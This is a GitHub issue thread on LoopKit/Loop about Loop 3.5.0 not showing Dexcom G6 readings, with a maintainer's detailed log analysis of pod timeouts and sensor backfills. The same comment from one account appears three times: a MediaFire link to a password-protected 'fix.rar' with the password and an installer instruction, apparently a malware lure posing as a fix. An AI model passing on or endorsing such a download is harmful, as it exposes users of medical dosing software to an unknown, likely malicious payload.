LoopKit/Loop

Loop 3.5.0 (51) not updating/in sync with Dexcom G6 readings.

Closed this issue · 5 comments

klangfarben1 commented

Starting with around Loop version 3.5.0 (49) or so, Loop is not updating my G6 sensor readings correctly. If I go into the Loop Settings and click on my G6 sensor device, it is updating the readings there and everything is correct including the transmitter ID. However, in the main Loop window itself, the sensor reading is not updated and the loop breaks. When the Dexcom app gets a new sensor reading, I then go back to the Loop Settings and click on the Dexcom device and again the reading is correct there and in sync with the Dexcom app. But that updated reading is not reflected in the main Loop window.

Two reasons I believe this to be a Loop bug. First, even though the sensor reading is not updated in the main Loop window, the trend arrow information DOES update correctly. So if I get a new reading in the Dexcom app and it is also showing a change in the trend information such as two arrows up when the previous reading was one arrow up, the main Loop window WILL update the correct trending arrow to two arrows up even though the sensor reading is not updated.

The second reason I believe this to be a bug specific to Loop is that if I delete the CGM from Loop and then add a new Dexcom Share only CGM, Loop does not update the Dexcom Share data even though if I go into my Dexcom Follow app the data there is in sync with my main Dexcom app. So clearly it is not a bluetooth or communication issue as Dexcom Share gets its information over the internet, not via bluetooth.

Steps to reproduce the behavior:
Unfortunately there are no steps to reproduce the error. I have not seen the issue previously before 3.5.0 (49) as far as I am aware.

Expected behavior would obviously be that if the Dexcom/Dexcom Follow apps are updating correctly, Loop should be updating as well, especially since if one goes to the Loop settings and clicks on the Dexcom device, the correct readings and transmitter ID are displayed there and in sync with the Dexcom app.

  • iPhone SE gen 2

  • iOS 17.6.1

  • Loop 3.5.0 (51) Dev

  • Dexcom G6 with official Dexcom app + Dexcom Follow

  • Omnipod Dash

  • Firmware 4.10.0

Screenshots attached include:

  • Loop Dexcom G6 Settings Info
  • Dexcom App Readings (same timestamp as Loop Dexcom G6 Settings)
  • Dexcom App Settings and Transmitter ID (matches Loop Dexcom G6 Device Info)
  • Loop Main Page which does NOT display updated Dexcom Readings (timestamp same as Dexcom App and Loop Settings Dexcom Device Info

IMG_2374
IMG_2373
IMG_2372
IMG_2371

Additional Attachments: Loop Issue Report:
Loop Report 2024-08-26 21_08_14-07_00.md

amir1387aht commented

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

amir1387aht commented

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

amir1387aht commented

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

marionbarker commented

Loop Report Analysis

  • Theory - the Anubis Transmitter may need a new battery
  • Theory - @ps2 please confirm, if the DASH pod is disconnected with Error Domain=CBErrorDomain Code=6 "The connection has timed out unexpectedly." and not reconnected right away, it is not a reliable heartbeat and Loop relies on the CGM to "wake it up"
    • If CGM is not waking up Loop, it stays in the background

General Comments

Examine the Loop Report.
There were messages from 2 pods in this report.
Also - from the Dexcom Insertion and Expiration date, this must be with an Anubis sensor.

Parse the messages into csv files, one per pod

There were 5 events where the delay between successive mesages was greater than 1000 sec. (This delta should typically be no more than 180 sec with DASH pod and no loss of connectivity). One of these events was in the first pod in the report (covering ~38 hours), and 4 were for the second pod in the report (covering ~46 hours). (The csv files are attached at the end of this comment.)

Record the time stamps (these are all in UTC) to focus the review of the messages in the Loop Report.

  1. 2024-08-24 06:04:16, deltaSec=1880
  2. 2024-08-25 07:39:30, deltaSec=1085
  3. 2024-08-25 16:25:51, deltaSec=1774
  4. 2024-08-25 17:09:40, deltaSec=1770
  5. 2024-08-26 17:01:33, deltaSec=6901

Manually examine messages

Examine the messages in the log near those time stamps, in order:

  1. no messages between 2024-08-24 05:33:24 and 2024-08-24 06:04:15, last message was The connection has timed out unexpectedly. referring to the pod
  2. same circumstance, gap from 2024-08-25 07:23:24 to 2024-08-25 07:28:04, same last message
  3. again, gap from 2024-08-25 16:25:47 to 2024-08-25 16:25:49, same last message
  4. again, gap from 2024-08-25 16:40:20 to 2024-08-25 17:09:40, same last message
  5. This one is different. gap from 2024-08-26 15:06:32 to 2024-08-26 17:01:31. Last message is normal 0x1d response from the pod to a getStatus request from Loop.

Conclusion - there were no bluetooth messages from either the pod or the sensor during those gaps.
Given that this is an Anubis transmitter - please do the test that lets you know the battery level and check with the experts on whether this battery level is close to the point at which you need to change your battery.

Search for backfill in record

These time stamps are times in which a backfill (without an error) was detected

* 2024-08-23 19:31:45 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-23 19:11:37 +0000)
* 2024-08-23 20:41:49 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-23 20:31:37 +0000)
* 2024-08-24 06:06:45 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-24 05:31:37 +0000)
* 2024-08-24 23:01:48 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-24 22:51:37 +0000)
* 2024-08-25 00:11:48 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-25 00:01:36 +0000)
* 2024-08-25 07:41:47 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-25 07:21:37 +0000)
* 2024-08-25 11:11:47 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-25 10:56:37 +0000)
* 2024-08-25 16:16:44 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-25 16:06:37 +0000)
* 2024-08-25 17:11:45 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-25 16:16:37 +0000)
* 2024-08-26 04:26:45 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-26 04:16:36 +0000)
* 2024-08-26 21:38:25 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-26 21:33:18 +0000)
* 2024-08-27 00:38:26 +0000 DexG6Transmitter 8PC0FG receive New backfill: Optional(2024-08-26 21:43:18 +0000)

Looking at the timestamps where deltaSec>1000, all except the last one were associated with a backfill from the sensor. Note that I only manually examined the 5 cases where deltaSec was over 1000. There 12 instances where deltaSec was >200 but <1000 sec.

Some of these backfills listed above were for a very long time:

  • For example: at 2024-08-24 06:06:45, the backfill was from 2024-08-24 05:31:37

Some backfills reported errors

Not sure what this means, but some backfills reported errors:

* 2024-08-23 20:21:50 +0000 DexG6Transmitter 8PC0FG error Error: GlucoseBackfillRxMessage time interval not reflected in glucose: 61274 - 90074, buffer: 2445359235 - 2684241498
* 2024-08-24 04:26:45 +0000 DexG6Transmitter 8PC0FG error Error: GlucoseBackfillRxMessage time interval not reflected in glucose: 90374 - 119174, buffer: 1747233150 - 4184531303
* 2024-08-24 12:26:53 +0000 DexG6Transmitter 8PC0FG error Error: GlucoseBackfillRxMessage time interval not reflected in glucose: 119474 - 147974, buffer: 1370329945 - 3294274881
* 2024-08-24 20:31:46 +0000 DexG6Transmitter 8PC0FG error Error: GlucoseBackfillRxMessage time interval not reflected in glucose: 148274 - 177074, buffer: 673123124 - 3279173032
* 2024-08-25 04:36:46 +0000 DexG6Transmitter 8PC0FG error Error: GlucoseBackfillRxMessage time interval not reflected in glucose: 177083 - 206174, buffer: 722591699 - 4032009115
* 2024-08-25 12:41:45 +0000 DexG6Transmitter 8PC0FG error Error: GlucoseBackfillRxMessage time interval not reflected in glucose: 206474 - 235274, buffer: 235931824 - 1600896859
* 2024-08-25 20:41:47 +0000 DexG6Transmitter 8PC0FG error Error: GlucoseBackfillRxMessage time interval not reflected in glucose: 235574 - 264074, buffer: 3167340930 - 188765102
* 2024-08-26 20:43:25 +0000 DexG6Transmitter 8PC0FG error Error: Received GlucoseBackfillRxMessage but backfillBuffer is nil
* 2024-08-26 21:43:26 +0000 DexG6Transmitter 8PC0FG error Error: GlucoseBackfillRxMessage time interval not reflected in glucose: 0 - 17779, buffer: 1299713013 - 2689645069

csv files for the two pods in this report

ps2 commented

If G6 app is getting data, then Loop should be too, unless iOS is killing Loop or Loop is having some other problems getting runtime. If you grab a sysdiagnose while this is happening (please note explicitly what times you see data from g6 that are missing from Loop), I can take a look and see if there is anything obvious in the logs. You can post them to a sharing service (like google drive) and then share a link to them to me on zulip, as the file is quite large.